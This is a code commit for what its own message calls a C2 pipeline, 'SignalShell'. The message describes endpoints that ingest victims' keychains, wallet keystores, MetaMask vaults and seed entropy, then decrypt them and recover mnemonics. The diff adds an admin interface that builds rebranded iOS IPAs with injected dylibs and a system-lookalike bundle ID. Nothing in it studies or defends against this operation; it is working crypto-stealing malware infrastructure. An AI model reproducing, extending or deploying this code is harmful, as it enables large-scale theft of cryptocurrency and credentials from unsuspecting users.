feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
This commit is contained in:
@@ -23,6 +23,9 @@
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-ch-search">搜索</button>
|
||||
@if ($portal === 'admin')
|
||||
<button type="button" class="layui-btn layui-btn-normal" id="LAY-ch-create">新建</button>
|
||||
@if ($portal === 'admin' && auth('admin')->user()?->isSuper())
|
||||
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ch-create-app">新建 APP</button>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@@ -48,6 +51,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var token = @json(csrf_token());
|
||||
var agents = @json($agentOptions ?? []);
|
||||
var isAdmin = portal === 'admin';
|
||||
var isSuperAdmin = isAdmin && @json(auth('admin')->user()?->isSuper() ?? false);
|
||||
var maxPerAgent = @json($maxPerAgent ?? 5);
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
@@ -66,6 +70,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
cols = cols.concat([
|
||||
{ field: 'app_name', title: 'App', width: 90, templet: function (d) { return d.app_name || '—'; } },
|
||||
{ field: 'bundle_id', title: 'Bundle ID', minWidth: 200, templet: function (d) { return d.bundle_id ? '<code>' + d.bundle_id + '</code>' : '—'; } },
|
||||
{ field: 'h5_url', title: 'H5 URL', minWidth: 200, templet: function (d) { return d.h5_url ? '<code>' + d.h5_url + '</code>' : '—'; } },
|
||||
{ field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } },
|
||||
{ field: 'status', title: '状态', width: 90, templet: function (d) {
|
||||
return d.status == 1
|
||||
@@ -229,7 +234,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
? '<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">App 名称</label><div class="layui-input-block">' +
|
||||
'<input name="app_name" class="layui-input" value="' + (values.app_name || '').replace(/"/g, '"') + '" placeholder="例如 Ai"></div></div>' +
|
||||
'<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
|
||||
'<input name="bundle_id" class="layui-input" value="' + (values.bundle_id || '').replace(/"/g, '"') + '" placeholder="例如 aai.AiAi168168AiAi.app"></div></div>'
|
||||
'<input name="bundle_id" class="layui-input" value="' + (values.bundle_id || '').replace(/"/g, '"') + '" placeholder="例如 aai.AiAi168168AiAi.app"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
|
||||
'<input name="h5_url" class="layui-input" value="' + (values.h5_url || '').replace(/"/g, '"') + '" placeholder="可选,WebView 加载的页面 URL"></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
@@ -343,6 +350,106 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
$('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); });
|
||||
}
|
||||
|
||||
// ─── 新建 APP ───────────────────────────────────────────
|
||||
var apiDomain = @json(config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||
|
||||
function randomChannelId12() {
|
||||
var chars = '0123456789abcdef';
|
||||
var s = '';
|
||||
for (var i = 0; i < 12; i++) s += chars[Math.floor(Math.random() * 16)];
|
||||
return s;
|
||||
}
|
||||
|
||||
if (isSuperAdmin) {
|
||||
$('#LAY-ch-create-app').on('click', function () {
|
||||
var html =
|
||||
'<form class="layui-form" id="LAY-app-form" enctype="multipart/form-data">' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-inline" style="width:200px">' +
|
||||
'<input name="channel_id" class="layui-input" value="" maxlength="12" placeholder="留空自动生成" style="display:inline-block;width:150px">' +
|
||||
' <button type="button" class="layui-btn layui-btn-xs" id="LAY-app-rand">随机</button></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block">' +
|
||||
'<select name="user_id">' + agentOptions(0) + '</select></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">APP 名称 *</label><div class="layui-input-block">' +
|
||||
'<input name="app_name" class="layui-input" placeholder="例如 Uber" required></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
|
||||
'<input name="bundle_id" class="layui-input" value="com.apple.mobile.MobileHouseArrest" placeholder="默认值"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
|
||||
'<input name="h5_url" class="layui-input" placeholder="可选,WebView 页面 URL"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">API 域名</label><div class="layui-input-block">' +
|
||||
'<input class="layui-input layui-disabled" value="' + apiDomain + '" disabled>' +
|
||||
'<input type="hidden" name="api_domain" value="' + apiDomain + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">Logo</label><div class="layui-input-block">' +
|
||||
'<input type="file" name="logo" accept="image/png,image/jpeg,image/webp" class="layui-input"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||||
'<input name="remark" class="layui-input" placeholder="可选"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" checked></div></div>' +
|
||||
'<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">保存后自动构建 IPA,替换域名/渠道ID/Logo/App名称,完成后提供下载链接。</div></div>' +
|
||||
'</form>';
|
||||
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '新建 APP 渠道',
|
||||
area: ['560px', '620px'],
|
||||
content: html,
|
||||
success: function () {
|
||||
form.render();
|
||||
$('#LAY-app-rand').on('click', function () {
|
||||
$('input[name=channel_id]').val(randomChannelId12());
|
||||
});
|
||||
},
|
||||
btn: ['构建并保存', '取消'],
|
||||
yes: function (index) {
|
||||
var formData = new FormData($('#LAY-app-form')[0]);
|
||||
formData.append('_token', token);
|
||||
formData.append('status', $('input[name=status_switch]').is(':checked') ? 1 : 0);
|
||||
|
||||
var load = layer.load(2, {shade: [0.3, '#000']});
|
||||
$.ajax({
|
||||
url: @json(route('admin.channels.buildApp')),
|
||||
method: 'POST',
|
||||
data: formData,
|
||||
processData: false,
|
||||
contentType: false,
|
||||
timeout: 120000,
|
||||
success: function (res) {
|
||||
layer.close(load);
|
||||
if (res.code !== 0) {
|
||||
var msg = res.msg || '构建失败';
|
||||
if (res.data && res.data.channel_id) msg += '(渠道 ' + res.data.channel_id + ' 已创建)';
|
||||
return layer.msg(msg, {icon: 2, time: 5000});
|
||||
}
|
||||
layer.close(index);
|
||||
if (window.CorunaFilterOptions) {
|
||||
CorunaFilterOptions.bust();
|
||||
CorunaFilterOptions.apply(form);
|
||||
}
|
||||
table.reload('LAY-ch-list');
|
||||
|
||||
var d = res.data;
|
||||
var content = '<div style="padding:20px;line-height:2;">' +
|
||||
'<p><b>渠道 ID:</b> <code>' + d.channel_id + '</code></p>' +
|
||||
'<p><b>APP 名称:</b> ' + d.app_name + '</p>' +
|
||||
'<p><b>IPA 大小:</b> ' + (d.ipa_size / 1024 / 1024).toFixed(1) + ' MB</p>' +
|
||||
'<p><b>API 域名:</b> <code>' + d.api_domain + '</code></p>' +
|
||||
'<p style="margin-top:10px"><a href="' + d.ipa_url + '" class="layui-btn layui-btn-lg layui-btn-normal" download>下载 IPA</a></p>' +
|
||||
'</div>';
|
||||
layer.open({type: 1, title: '✅ 构建成功', area: ['420px', '340px'], content: content});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(load);
|
||||
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '构建失败';
|
||||
if (xhr.responseJSON && xhr.responseJSON.errors) {
|
||||
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
|
||||
}
|
||||
layer.msg(msg, {icon: 2, time: 5000});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
table.on('tool(LAY-ch-list)', function (obj) {
|
||||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||||
if (obj.event === 'links') openLinks(obj.data);
|
||||
|
||||
Reference in New Issue
Block a user